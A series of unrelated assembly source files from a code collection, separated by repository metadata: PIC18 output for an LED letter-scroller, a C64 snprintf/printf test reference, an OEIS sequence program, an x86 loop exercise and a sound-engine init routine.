slideWord_counter_L0+0, 0 L__slideWord44: BTFSC STATUS+0, 0 GOTO L_slideWord23 ;ExstoKit.c,163 :: _letters[0] = _letters[counter-7]; MOVLW 7 SUBWF slideWord_counter_L0+0, 0 MOVWF R3 MOVLW 0 SUBWFB slideWord_counter_L0+1, 0 MOVWF R4 MOVF R3, 0 MOVWF R0 MOVF R4, 0 MOVWF R1 RLCF R0, 1 BCF R0, 0 RLCF R1, 1 MOVF FARG_slideWord__letters+0, 0 ADDWF R0, 1 MOVF FARG_slideWord__letters+1, 0 ADDWFC R1, 1 MOVFF FARG_slideWord__letters+0, FSR1L+0 MOVFF FARG_slideWord__letters+1, FSR1H+0 MOVFF R0, FSR0L+0 MOVFF R1, FSR0H+0 MOVF POSTINC0+0, 0 MOVWF POSTINC1+0 MOVF POSTINC0+0, 0 MOVWF POSTINC1+0 ;ExstoKit.c,164 :: _letters[1] = _letters[counter-6]; MOVLW 2 ADDWF FARG_slideWord__letters+0, 0 MOVWF FSR1L+0 MOVLW 0 ADDWFC FARG_slideWord__letters+1, 0 MOVWF FSR1L+1 MOVLW 6 SUBWF slideWord_counter_L0+0, 0 MOVWF R3 MOVLW 0 SUBWFB slideWord_counter_L0+1, 0 MOVWF R4 MOVF R3, 0 MOVWF R0 MOVF R4, 0 MOVWF R1 RLCF R0, 1 BCF R0, 0 RLCF R1, 1 MOVF R0, 0 ADDWF FARG_slideWord__letters+0, 0 MOVWF FSR0L+0 MOVF R1, 0 ADDWFC FARG_slideWord__letters+1, 0 MOVWF FSR0L+1 MOVF POSTINC0+0, 0 MOVWF POSTINC1+0 MOVF POSTINC0+0, 0 MOVWF POSTINC1+0 ;ExstoKit.c,165 :: _letters[2] = _letters[counter-5]; MOVLW 4 ADDWF FARG_slideWord__letters+0, 0 MOVWF FSR1L+0 MOVLW 0 ADDWFC FARG_slideWord__letters+1, 0 MOVWF FSR1L+1 MOVLW 5 SUBWF slideWord_counter_L0+0, 0 MOVWF R3 MOVLW 0 SUBWFB slideWord_counter_L0+1, 0 MOVWF R4 MOVF R3, 0 MOVWF R0 MOVF R4, 0 MOVWF R1 RLCF R0, 1 BCF R0, 0 RLCF R1, 1 MOVF R0, 0 ADDWF FARG_slideWord__letters+0, 0 MOVWF FSR0L+0 MOVF R1, 0 ADDWFC FARG_slideWord__letters+1, 0 MOVWF FSR0L+1 MOVF POSTINC0+0, 0 MOVWF POSTINC1+0 MOVF POSTINC0+0, 0 MOVWF POSTINC1+0 ;ExstoKit.c,166 :: _letters[3] = _letters[counter-4]; MOVLW 6 ADDWF FARG_slideWord__letters+0, 0 MOVWF FSR1L+0 MOVLW 0 ADDWFC FARG_slideWord__letters+1, 0 MOVWF FSR1L+1 MOVLW 4 SUBWF slideWord_counter_L0+0, 0 MOVWF R3 MOVLW 0 SUBWFB slideWord_counter_L0+1, 0 MOVWF R4 MOVF R3, 0 MOVWF R0 MOVF R4, 0 MOVWF R1 RLCF R0, 1 BCF R0, 0 RLCF R1, 1 MOVF R0, 0 ADDWF FARG_slideWord__letters+0, 0 MOVWF FSR0L+0 MOVF R1, 0 ADDWFC FARG_slideWord__letters+1, 0 MOVWF FSR0L+1 MOVF POSTINC0+0, 0 MOVWF POSTINC1+0 MOVF POSTINC0+0, 0 MOVWF POSTINC1+0 ;ExstoKit.c,167 :: _letters[4] = _letters[counter-3]; MOVLW 8 ADDWF FARG_slideWord__letters+0, 0 MOVWF FSR1L+0 MOVLW 0 ADDWFC FARG_slideWord__letters+1, 0 MOVWF FSR1L+1 MOVLW 3 SUBWF slideWord_counter_L0+0, 0 MOVWF R3 MOVLW 0 SUBWFB slideWord_counter_L0+1, 0 MOVWF R4 MOVF R3, 0 MOVWF R0 MOVF R4, 0 MOVWF R1 RLCF R0, 1 BCF R0, 0 RLCF R1, 1 MOVF R0, 0 ADDWF FARG_slideWord__letters+0, 0 MOVWF FSR0L+0 MOVF R1, 0 ADDWFC FARG_slideWord__letters+1, 0 MOVWF FSR0L+1 MOVF POSTINC0+0, 0 MOVWF POSTINC1+0 MOVF POSTINC0+0, 0 MOVWF POSTINC1+0 ;ExstoKit.c,168 :: _letters[5] = _letters[counter-2]; MOVLW 10 ADDWF FARG_slideWord__letters+0, 0 MOVWF FSR1L+0 MOVLW 0 ADDWFC FARG_slideWord__letters+1, 0 MOVWF FSR1L+1 MOVLW 2 SUBWF slideWord_counter_L0+0, 0 MOVWF R3 MOVLW 0 SUBWFB slideWord_counter_L0+1, 0 MOVWF R4 MOVF R3, 0 MOVWF R0 MOVF R4, 0 MOVWF R1 RLCF R0, 1 BCF R0, 0 RLCF R1, 1 MOVF R0, 0 ADDWF FARG_slideWord__letters+0, 0 MOVWF FSR0L+0 MOVF R1, 0 ADDWFC FARG_slideWord__letters+1, 0 MOVWF FSR0L+1 MOVF POSTINC0+0, 0 MOVWF POSTINC1+0 MOVF POSTINC0+0, 0 MOVWF POSTINC1+0 ;ExstoKit.c,169 :: _letters[6] = _letters[counter-1]; MOVLW 12 ADDWF FARG_slideWord__letters+0, 0 MOVWF FSR1L+0 MOVLW 0 ADDWFC FARG_slideWord__letters+1, 0 MOVWF FSR1L+1 MOVLW 1 SUBWF slideWord_counter_L0+0, 0 MOVWF R3 MOVLW 0 SUBWFB slideWord_counter_L0+1, 0 MOVWF R4 MOVF R3, 0 MOVWF R0 MOVF R4, 0 MOVWF R1 RLCF R0, 1 BCF R0, 0 RLCF R1, 1 MOVF R0, 0 ADDWF FARG_slideWord__letters+0, 0 MOVWF FSR0L+0 MOVF R1, 0 ADDWFC FARG_slideWord__letters+1, 0 MOVWF FSR0L+1 MOVF POSTINC0+0, 0 MOVWF POSTINC1+0 MOVF POSTINC0+0, 0 MOVWF POSTINC1+0 ;ExstoKit.c,170 :: _letters[7] = _letters[counter]; MOVLW 14 ADDWF FARG_slideWord__letters+0, 0 MOVWF FSR1L+0 MOVLW 0 ADDWFC FARG_slideWord__letters+1, 0 MOVWF FSR1L+1 MOVF slideWord_counter_L0+0, 0 MOVWF R0 MOVF slideWord_counter_L0+1, 0 MOVWF R1 RLCF R0, 1 BCF R0, 0 RLCF R1, 1 MOVF R0, 0 ADDWF FARG_slideWord__letters+0, 0 MOVWF FSR0L+0 MOVF R1, 0 ADDWFC FARG_slideWord__letters+1, 0 MOVWF FSR0L+1 MOVF POSTINC0+0, 0 MOVWF POSTINC1+0 MOVF POSTINC0+0, 0 MOVWF POSTINC1+0 ;ExstoKit.c,172 :: wordOne[0] = _letters[0]; MOVFF FARG_slideWord__letters+0, FSR0L+0 MOVFF FARG_slideWord__letters+1, FSR0H+0 MOVF POSTINC0+0, 0 MOVWF slideWord_wordOne_L0+0 MOVF POSTINC0+0, 0 MOVWF slideWord_wordOne_L0+1 ;ExstoKit.c,173 :: wordOne[1] = _letters[1]; MOVLW 2 ADDWF FARG_slideWord__letters+0, 0 MOVWF FSR0L+0 MOVLW 0 ADDWFC FARG_slideWord__letters+1, 0 MOVWF FSR0L+1 MOVF POSTINC0+0, 0 MOVWF slideWord_wordOne_L0+2 MOVF POSTINC0+0, 0 MOVWF slideWord_wordOne_L0+3 ;ExstoKit.c,174 :: wordOne[2] = _letters[2]; MOVLW 4 ADDWF FARG_slideWord__letters+0, 0 MOVWF FSR0L+0 MOVLW 0 ADDWFC FARG_slideWord__letters+1, 0 MOVWF FSR0L+1 MOVF POSTINC0+0, 0 MOVWF slideWord_wordOne_L0+4 MOVF POSTINC0+0, 0 MOVWF slideWord_wordOne_L0+5 ;ExstoKit.c,175 :: wordOne[3] = _letters[3]; MOVLW 6 ADDWF FARG_slideWord__letters+0, 0 MOVWF FSR0L+0 MOVLW 0 ADDWFC FARG_slideWord__letters+1, 0 MOVWF FSR0L+1 MOVF POSTINC0+0, 0 MOVWF slideWord_wordOne_L0+6 MOVF POSTINC0+0, 0 MOVWF slideWord_wordOne_L0+7 ;ExstoKit.c,177 :: wordTwo[0] = _letters[4]; MOVLW 8 ADDWF FARG_slideWord__letters+0, 0 MOVWF FSR0L+0 MOVLW 0 ADDWFC FARG_slideWord__letters+1, 0 MOVWF FSR0L+1 MOVF POSTINC0+0, 0 MOVWF slideWord_wordTwo_L0+0 MOVF POSTINC0+0, 0 MOVWF slideWord_wordTwo_L0+1 ;ExstoKit.c,178 :: wordTwo[1] = _letters[5]; MOVLW 10 ADDWF FARG_slideWord__letters+0, 0 MOVWF FSR0L+0 MOVLW 0 ADDWFC FARG_slideWord__letters+1, 0 MOVWF FSR0L+1 MOVF POSTINC0+0, 0 MOVWF slideWord_wordTwo_L0+2 MOVF POSTINC0+0, 0 MOVWF slideWord_wordTwo_L0+3 ;ExstoKit.c,179 :: wordTwo[2] = _letters[6]; MOVLW 12 ADDWF FARG_slideWord__letters+0, 0 MOVWF FSR0L+0 MOVLW 0 ADDWFC FARG_slideWord__letters+1, 0 MOVWF FSR0L+1 MOVF POSTINC0+0, 0 MOVWF slideWord_wordTwo_L0+4 MOVF POSTINC0+0, 0 MOVWF slideWord_wordTwo_L0+5 ;ExstoKit.c,180 :: wordTwo[3] = _letters[7]; MOVLW 14 ADDWF FARG_slideWord__letters+0, 0 MOVWF FSR0L+0 MOVLW 0 ADDWFC FARG_slideWord__letters+1, 0 MOVWF FSR0L+1 MOVF POSTINC0+0, 0 MOVWF slideWord_wordTwo_L0+6 MOVF POSTINC0+0, 0 MOVWF slideWord_wordTwo_L0+7 ;ExstoKit.c,181 :: setWord(wordOne, _timer); MOVLW slideWord_wordOne_L0+0 MOVWF FARG_setWord__letters+0 MOVLW hi_addr(slideWord_wordOne_L0+0) MOVWF FARG_setWord__letters+1 MOVF FARG_slideWord__timer+0, 0 MOVWF FARG_setWord__timer+0 MOVF FARG_slideWord__timer+1, 0 MOVWF FARG_setWord__timer+1 CALL _setWord+0, 0 ;ExstoKit.c,182 :: setWord(wordTwo, _timer); MOVLW slideWord_wordTwo_L0+0 MOVWF FARG_setWord__letters+0 MOVLW hi_addr(slideWord_wordTwo_L0+0) MOVWF FARG_setWord__letters+1 MOVF FARG_slideWord__timer+0, 0 MOVWF FARG_setWord__timer+0 MOVF FARG_slideWord__timer+1, 0 MOVWF FARG_setWord__timer+1 CALL _setWord+0, 0 ;ExstoKit.c,162 :: for(counter=0; counter<8; counter++){ INFSNZ slideWord_counter_L0+0, 1 INCF slideWord_counter_L0+1, 1 ;ExstoKit.c,183 :: } GOTO L_slideWord22 L_slideWord23: ;ExstoKit.c,184 :: } L_end_slideWord: RETURN 0 ; end of _slideWord _main: ;ExstoKit.c,186 :: void main() { ;ExstoKit.c,187 :: int sexshop[8] = {18, 4, 23, 26, 18, 7, 14, 15}; MOVLW ?ICSmain_sexshop_L0+0 MOVWF TBLPTRL+0 MOVLW hi_addr(?ICSmain_sexshop_L0+0) MOVWF TBLPTRL+1 MOVLW higher_addr(?ICSmain_sexshop_L0+0) MOVWF TBLPTRL+2 MOVLW main_sexshop_L0+0 MOVWF FSR1L+0 MOVLW hi_addr(main_sexshop_L0+0) MOVWF FSR1L+1 MOVLW 16 MOVWF R0 MOVLW 1 MOVWF R1 CALL ___CC2DW+0, 0 ;ExstoKit.c,188 :: ADCON1 = 0b00001111; MOVLW 15 MOVWF ADCON1+0 ;ExstoKit.c,189 :: TRISD = 0b00000000; CLRF TRISD+0 ;ExstoKit.c,190 :: TRISA.B5 = 0; BCF TRISA+0, 5 ;ExstoKit.c,191 :: TRISA.B2 = 0; BCF TRISA+0, 2 ;ExstoKit.c,192 :: TRISE.B2 = 0; BCF TRISE+0, 2 ;ExstoKit.c,193 :: TRISE.B0 = 0; BCF TRISE+0, 0 ;ExstoKit.c,195 :: resetAll(); CALL _resetAll+0, 0 ;ExstoKit.c,197 :: while(1){ L_main25: ;ExstoKit.c,198 :: slideWord(sexshop, 300); MOVLW main_sexshop_L0+0 MOVWF FARG_slideWord__letters+0 MOVLW hi_addr(main_sexshop_L0+0) MOVWF FARG_slideWord__letters+1 MOVLW 44 MOVWF FARG_slideWord__timer+0 MOVLW 1 MOVWF FARG_slideWord__timer+1 CALL _slideWord+0, 0 ;ExstoKit.c,199 :: } GOTO L_main25 ;ExstoKit.c,203 :: } L_end_main: GOTO $+0 ; end of _main
28.425287
70
0.569268
821a535b8dfa66d00ee45667c0ccbaf8ebcd4db8
13,428
asm
Assembly
src/test/ref/printf-18.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/test/ref/printf-18.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/test/ref/printf-18.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
// Tests snprintf function call rewriting // Test snprintf() and printf() in the same file // Commodore 64 PRG executable file .file [name="printf-18.prg", type="prg", segments="Program"] .segmentdef Program [segments="Basic, Code, Data"] .segmentdef Basic [start=$0801] .segmentdef Code [start=$80d] .segmentdef Data [startAfter="Code"] .segment Basic :BasicUpstart(__start) .const LIGHT_BLUE = $e .const STACK_BASE = $103 /// Color Ram .label COLORRAM = $d800 /// Default address of screen character matrix .label DEFAULT_SCREEN = $400 // The number of bytes on the screen // The current cursor x-position .label conio_cursor_x = $12 // The current cursor y-position .label conio_cursor_y = $15 // The current text cursor line start .label conio_line_text = $18 // The current color cursor line start .label conio_line_color = $1a /// The capacity of the buffer (n passed to snprintf()) /// Used to hold state while printing .label __snprintf_capacity = $1c // The number of chars that would have been filled when printing without capacity. Grows even after size>capacity. /// Used to hold state while printing .label __snprintf_size = $13 /// Current position in the buffer being filled ( initially *s passed to snprintf() /// Used to hold state while printing .label __snprintf_buffer = $16 .segment Code __start: { // __ma char conio_cursor_x = 0 lda #0 sta.z conio_cursor_x // __ma char conio_cursor_y = 0 sta.z conio_cursor_y // __ma char *conio_line_text = CONIO_SCREEN_TEXT lda #<DEFAULT_SCREEN sta.z conio_line_text lda #>DEFAULT_SCREEN sta.z conio_line_text+1 // __ma char *conio_line_color = CONIO_SCREEN_COLORS lda #<COLORRAM sta.z conio_line_color lda #>COLORRAM sta.z conio_line_color+1 // volatile size_t __snprintf_capacity lda #<0 sta.z __snprintf_capacity sta.z __snprintf_capacity+1 // volatile size_t __snprintf_size sta.z __snprintf_size sta.z __snprintf_size+1 // char * __snprintf_buffer sta.z __snprintf_buffer sta.z __snprintf_buffer+1 // #pragma constructor_for(conio_c64_init, cputc, clrscr, cscroll) jsr conio_c64_init jsr main rts } /// Print a character into snprintf buffer /// Used by snprintf() /// @param c The character to print // void snputc(__register(X) char c) snputc: { .const OFFSET_STACK_C = 0 tsx lda STACK_BASE+OFFSET_STACK_C,x tax // ++__snprintf_size; inc.z __snprintf_size bne !+ inc.z __snprintf_size+1 !: // if(__snprintf_size > __snprintf_capacity) lda.z __snprintf_size+1 cmp.z __snprintf_capacity+1 bne !+ lda.z __snprintf_size cmp.z __snprintf_capacity beq __b1 !: bcc __b1 // } rts __b1: // if(__snprintf_size==__snprintf_capacity) lda.z __snprintf_size+1 cmp.z __snprintf_capacity+1 bne __b2 lda.z __snprintf_size cmp.z __snprintf_capacity bne __b2 ldx #0 __b2: // *(__snprintf_buffer++) = c // Append char txa ldy #0 sta (__snprintf_buffer),y // *(__snprintf_buffer++) = c; inc.z __snprintf_buffer bne !+ inc.z __snprintf_buffer+1 !: rts } // Set initial cursor position conio_c64_init: { // Position cursor at current line .label BASIC_CURSOR_LINE = $d6 // char line = *BASIC_CURSOR_LINE ldx.z BASIC_CURSOR_LINE // if(line>=CONIO_HEIGHT) cpx #$19 bcc __b1 ldx #$19-1 __b1: // gotoxy(0, line) jsr gotoxy // } rts } // Output one character at the current cursor position // Moves the cursor forward. Scrolls the entire screen if needed // void cputc(__register(A) char c) cputc: { .const OFFSET_STACK_C = 0 tsx lda STACK_BASE+OFFSET_STACK_C,x // if(c=='\n') cmp #'\n' beq __b1 // conio_line_text[conio_cursor_x] = c ldy.z conio_cursor_x sta (conio_line_text),y // conio_line_color[conio_cursor_x] = conio_textcolor lda #LIGHT_BLUE sta (conio_line_color),y // if(++conio_cursor_x==CONIO_WIDTH) inc.z conio_cursor_x lda #$28 cmp.z conio_cursor_x bne __breturn // cputln() jsr cputln __breturn: // } rts __b1: // cputln() jsr cputln rts } main: { // snprintf(BUF1, 20, "hello world!") lda #<BUF1 sta.z snprintf_init.s lda #>BUF1 sta.z snprintf_init.s+1 jsr snprintf_init // snprintf(BUF1, 20, "hello world!") lda #<snputc sta.z printf_str.putc lda #>snputc sta.z printf_str.putc+1 lda #<s sta.z printf_str.s lda #>s sta.z printf_str.s+1 jsr printf_str // snprintf(BUF1, 20, "hello world!") lda #0 pha jsr snputc pla // snprintf(BUF2, 20, "hello %s%c", "world", '!') lda #<BUF2 sta.z snprintf_init.s lda #>BUF2 sta.z snprintf_init.s+1 jsr snprintf_init // snprintf(BUF2, 20, "hello %s%c", "world", '!') lda #<snputc sta.z printf_str.putc lda #>snputc sta.z printf_str.putc+1 lda #<s1 sta.z printf_str.s lda #>s1 sta.z printf_str.s+1 jsr printf_str // snprintf(BUF2, 20, "hello %s%c", "world", '!') lda #<snputc sta.z printf_string.putc lda #>snputc sta.z printf_string.putc+1 lda #<str sta.z printf_string.str lda #>str sta.z printf_string.str+1 jsr printf_string // snprintf(BUF2, 20, "hello %s%c", "world", '!') lda #'!' pha jsr snputc pla lda #0 pha jsr snputc pla // printf("-%s- -%s-", BUF1, BUF2) lda #<cputc sta.z printf_str.putc lda #>cputc sta.z printf_str.putc+1 lda #<s2 sta.z printf_str.s lda #>s2 sta.z printf_str.s+1 jsr printf_str // printf("-%s- -%s-", BUF1, BUF2) lda #<cputc sta.z printf_string.putc lda #>cputc sta.z printf_string.putc+1 lda #<BUF1 sta.z printf_string.str lda #>BUF1 sta.z printf_string.str+1 jsr printf_string // printf("-%s- -%s-", BUF1, BUF2) lda #<cputc sta.z printf_str.putc lda #>cputc sta.z printf_str.putc+1 lda #<s3 sta.z printf_str.s lda #>s3 sta.z printf_str.s+1 jsr printf_str // printf("-%s- -%s-", BUF1, BUF2) lda #<cputc sta.z printf_string.putc lda #>cputc sta.z printf_string.putc+1 lda #<BUF2 sta.z printf_string.str lda #>BUF2 sta.z printf_string.str+1 jsr printf_string // printf("-%s- -%s-", BUF1, BUF2) lda #<cputc sta.z printf_str.putc lda #>cputc sta.z printf_str.putc+1 lda #<s2 sta.z printf_str.s lda #>s2 sta.z printf_str.s+1 jsr printf_str // } rts .segment Data s: .text "hello world!" .byte 0 s1: .text "hello " .byte 0 str: .text "world" .byte 0 s2: .text "-" .byte 0 s3: .text "- -" .byte 0 } .segment Code // Set the cursor to the specified position // void gotoxy(char x, __register(X) char y) gotoxy: { .const x = 0 .label __5 = $10 .label __6 = $c .label __7 = $c .label line_offset = $c .label __8 = $e .label __9 = $c // if(y>CONIO_HEIGHT) cpx #$19+1 bcc __b2 ldx #0 __b2: // conio_cursor_x = x lda #x sta.z conio_cursor_x // conio_cursor_y = y stx.z conio_cursor_y // unsigned int line_offset = (unsigned int)y*CONIO_WIDTH txa sta.z __7 lda #0 sta.z __7+1 lda.z __7 asl sta.z __8 lda.z __7+1 rol sta.z __8+1 asl.z __8 rol.z __8+1 clc lda.z __9 adc.z __8 sta.z __9 lda.z __9+1 adc.z __8+1 sta.z __9+1 asl.z line_offset rol.z line_offset+1 asl.z line_offset rol.z line_offset+1 asl.z line_offset rol.z line_offset+1 // CONIO_SCREEN_TEXT + line_offset lda.z line_offset clc adc #<DEFAULT_SCREEN sta.z __5 lda.z line_offset+1 adc #>DEFAULT_SCREEN sta.z __5+1 // conio_line_text = CONIO_SCREEN_TEXT + line_offset lda.z __5 sta.z conio_line_text lda.z __5+1 sta.z conio_line_text+1 // CONIO_SCREEN_COLORS + line_offset lda.z __6 clc adc #<COLORRAM sta.z __6 lda.z __6+1 adc #>COLORRAM sta.z __6+1 // conio_line_color = CONIO_SCREEN_COLORS + line_offset lda.z __6 sta.z conio_line_color lda.z __6+1 sta.z conio_line_color+1 // } rts } // Print a newline cputln: { // conio_line_text += CONIO_WIDTH lda #$28 clc adc.z conio_line_text sta.z conio_line_text bcc !+ inc.z conio_line_text+1 !: // conio_line_color += CONIO_WIDTH lda #$28 clc adc.z conio_line_color sta.z conio_line_color bcc !+ inc.z conio_line_color+1 !: // conio_cursor_x = 0 lda #0 sta.z conio_cursor_x // conio_cursor_y++; inc.z conio_cursor_y // cscroll() jsr cscroll // } rts } /// Initialize the snprintf() state // void snprintf_init(__zp($a) char *s, unsigned int n) snprintf_init: { .label s = $a // __snprintf_capacity = n lda #<$14 sta.z __snprintf_capacity lda #>$14 sta.z __snprintf_capacity+1 // __snprintf_size = 0 lda #<0 sta.z __snprintf_size sta.z __snprintf_size+1 // __snprintf_buffer = s lda.z s sta.z __snprintf_buffer lda.z s+1 sta.z __snprintf_buffer+1 // } rts } /// Print a NUL-terminated string // void printf_str(__zp($a) void (*putc)(char), __zp(4) const char *s) printf_str: { .label s = 4 .label putc = $a __b1: // while(c=*s++) ldy #0 lda (s),y inc.z s bne !+ inc.z s+1 !: cmp #0 bne __b2 // } rts __b2: // putc(c) pha jsr icall4 pla jmp __b1 icall4: jmp (putc) } // Print a string value using a specific format // Handles justification and min length // void printf_string(__zp($a) void (*putc)(char), __zp(4) char *str, char format_min_length, char format_justify_left) printf_string: { .label putc = $a .label str = 4 // printf_str(putc, str) jsr printf_str // } rts } // Scroll the entire screen if the cursor is beyond the last line cscroll: { // if(conio_cursor_y==CONIO_HEIGHT) lda #$19 cmp.z conio_cursor_y bne __breturn // memcpy(CONIO_SCREEN_TEXT, CONIO_SCREEN_TEXT+CONIO_WIDTH, CONIO_BYTES-CONIO_WIDTH) lda #<DEFAULT_SCREEN sta.z memcpy.destination lda #>DEFAULT_SCREEN sta.z memcpy.destination+1 lda #<DEFAULT_SCREEN+$28 sta.z memcpy.source lda #>DEFAULT_SCREEN+$28 sta.z memcpy.source+1 jsr memcpy // memcpy(CONIO_SCREEN_COLORS, CONIO_SCREEN_COLORS+CONIO_WIDTH, CONIO_BYTES-CONIO_WIDTH) lda #<COLORRAM sta.z memcpy.destination lda #>COLORRAM sta.z memcpy.destination+1 lda #<COLORRAM+$28 sta.z memcpy.source lda #>COLORRAM+$28 sta.z memcpy.source+1 jsr memcpy // memset(CONIO_SCREEN_TEXT+CONIO_BYTES-CONIO_WIDTH, ' ', CONIO_WIDTH) ldx #' ' lda #<DEFAULT_SCREEN+$19*$28-$28 sta.z memset.str lda #>DEFAULT_SCREEN+$19*$28-$28 sta.z memset.str+1 jsr memset // memset(CONIO_SCREEN_COLORS+CONIO_BYTES-CONIO_WIDTH, conio_textcolor, CONIO_WIDTH) ldx #LIGHT_BLUE lda #<COLORRAM+$19*$28-$28 sta.z memset.str lda #>COLORRAM+$19*$28-$28 sta.z memset.str+1 jsr memset // conio_line_text -= CONIO_WIDTH sec lda.z conio_line_text sbc #$28 sta.z conio_line_text lda.z conio_line_text+1 sbc #0 sta.z conio_line_text+1 // conio_line_color -= CONIO_WIDTH sec lda.z conio_line_color sbc #$28 sta.z conio_line_color lda.z conio_line_color+1 sbc #0 sta.z conio_line_color+1 // conio_cursor_y--; dec.z conio_cursor_y __breturn: // } rts } // Copy block of memory (forwards) // Copies the values of num bytes from the location pointed to by source directly to the memory block pointed to by destination. // void * memcpy(__zp(6) void *destination, __zp(2) void *source, unsigned int num) memcpy: { .label src_end = 8 .label dst = 6 .label src = 2 .label source = 2 .label destination = 6 // char* src_end = (char*)source+num lda.z source clc adc #<$19*$28-$28 sta.z src_end lda.z source+1 adc #>$19*$28-$28 sta.z src_end+1 __b1: // while(src!=src_end) lda.z src+1 cmp.z src_end+1 bne __b2 lda.z src cmp.z src_end bne __b2 // } rts __b2: // *dst++ = *src++ ldy #0 lda (src),y sta (dst),y // *dst++ = *src++; inc.z dst bne !+ inc.z dst+1 !: inc.z src bne !+ inc.z src+1 !: jmp __b1 } // Copies the character c (an unsigned char) to the first num characters of the object pointed to by the argument str. // void * memset(__zp(2) void *str, __register(X) char c, unsigned int num) memset: { .label end = 6 .label dst = 2 .label str = 2 // char* end = (char*)str + num lda #$28 clc adc.z str sta.z end lda #0 adc.z str+1 sta.z end+1 __b2: // for(char* dst = str; dst!=end; dst++) lda.z dst+1 cmp.z end+1 bne __b3 lda.z dst cmp.z end bne __b3 // } rts __b3: // *dst = c txa ldy #0 sta (dst),y // for(char* dst = str; dst!=end; dst++) inc.z dst bne !+ inc.z dst+1 !: jmp __b2 } .segment Data BUF1: .fill $14, 0 BUF2: .fill $14, 0
22.836735
128
0.619377
8cfb79e08072bf6bd0b7288f14ca24044458944e
438
asm
Assembly
programs/oeis/113/A113684.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/113/A113684.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/113/A113684.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A113684: Expansion of x(1-x^2-x^3)/((1-x)(1-x-x^2))^2. ; 0,1,4,11,25,52,102,193,356,645,1153,2040,3580,6241,10820,18671,32089,54956,93826,159745,271300,459721,777409,1312176,2211000,3719617,6248452,10482323,17562841,29391460,49132638,82048705,136884260 mov $3,$0 cal $0,23610 ; Convolution of Fibonacci numbers and {F(2), F(3), F(4), ...}. add $0,6 add $2,$3 sub $3,$2 sub $2,1 sub $3,2 sub $3,$2 add $0,$3 add $0,2 mov $1,$0 sub $1,8
27.375
197
0.675799
27e751ef4a03509c0bfc3851cbe0fc82fcd9569b
1,153
asm
Assembly
asm/loops/forLoop2.asm
IronHeart7334/AssemblyPrograms
e5b0649d2a1eb69bb5632c8219187d72fd69d057
[ "MIT" ]
null
null
null
asm/loops/forLoop2.asm
IronHeart7334/AssemblyPrograms
e5b0649d2a1eb69bb5632c8219187d72fd69d057
[ "MIT" ]
null
null
null
asm/loops/forLoop2.asm
IronHeart7334/AssemblyPrograms
e5b0649d2a1eb69bb5632c8219187d72fd69d057
[ "MIT" ]
null
null
null
; general comments ; sum references a named memory doubleword ; count is the smallest register necessary for the loop and the calculations ; ; sum := 0 ; for count goes from 1 to 51 by 5 ; add (count*count) to sum ; end for ; preprocessor directives .586 .MODEL FLAT ; external files to link with ; stack configuration .STACK 4096 ; named memory allocation and initialization .DATA sum DWORD 0d limit BYTE 51d ; names of procedures defined in other *.asm files in the project ; procedure code .CODE main PROC mov CL, 1d ; store count in low bits of C checkLoopCondition: ; need this in case it shouldn't enter the loop at all cmp CL, limit jb startOfWhileLoop ; should it be jbe? jmp endOfLoop startOfWhileLoop: mov EAX, 0 ; zero-out the first 16 bits of A register... mov AL, CL mul CL ; AX is now count * count add sum, EAX ; ... as sum must be a DWORD, and I need to add AX add CL, 5d jmp checkLoopCondition endOfLoop: ; done looping mov EAX, 0 ret main ENDP END
23.06
82
0.627927
7e0e96e8e7fffa8f825511425d5c16c78ac716d6
569
asm
Assembly
src/music/engine/ggsound-init.asm
Xkeeper0/tcrf-birthday
122945985d98b31984ac9299c8086603dbf416ff
[ "MIT" ]
10
2019-10-27T23:16:43.000Z
2019-11-14T13:53:55.000Z
src/music/engine/ggsound-init.asm
Xkeeper0/tcrf-birthday
122945985d98b31984ac9299c8086603dbf416ff
[ "MIT" ]
null
null
null
src/music/engine/ggsound-init.asm
Xkeeper0/tcrf-birthday
122945985d98b31984ac9299c8086603dbf416ff
[ "MIT" ]
null
null
null
; ; Init ggsound engine ; lda #SOUND_REGION_NTSC ;or #SOUND_REGION_PAL, or #SOUND_REGION_DENDY sta sound_param_byte_0 lda #<song_list sta sound_param_word_0 lda #>song_list sta sound_param_word_0+1 lda #<sfx_list sta sound_param_word_1 lda #>sfx_list sta sound_param_word_1+1 lda #<instrument_list sta sound_param_word_2 lda #>instrument_list sta sound_param_word_2+1 IFDEF FEATURE_DPCM lda #<dpcm_list sta sound_param_word_3 lda #>dpcm_list sta sound_param_word_3+1 ENDIF jsr sound_initialize
21.074074
72
0.72935
115d1552777c19fdc2b74b399c0684786b78b9b1
720
asm
Assembly
programs/oeis/080/A080726.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/080/A080726.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/080/A080726.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A080726: a(0) = 0; for n>0, a(n) is taken to be the smallest positive integer greater than a(n-1) which is consistent with the condition "n is a member of the sequence if and only if a(n) == 2 mod 3". ; 0,3,4,5,8,11,12,13,14,15,16,17,20,23,26,29,32,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,56,59,62,65,68,71,74,77,80,83,86,89,92,95,98,101,104,107,108,109,110,111,112,113,114,115,116,117,118,119 mov $8,$0 mov $10,$0 lpb $10,1 mov $0,$8 sub $10,1 sub $0,$10 mov $3,6 lpb $0,1 mov $1,$3 lpb $2,2 lpb $3,1 div $0,2 mov $2,$1 mov $1,0 mul $3,$0 sub $3,1 lpe lpe div $0,3 add $1,3 lpe div $1,3 add $9,$1 lpe mov $1,$9
24.827586
209
0.5625
f086a509451702563b40fd117afc442b4184afef
444
asm
Assembly
programs/oeis/160/A160595.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
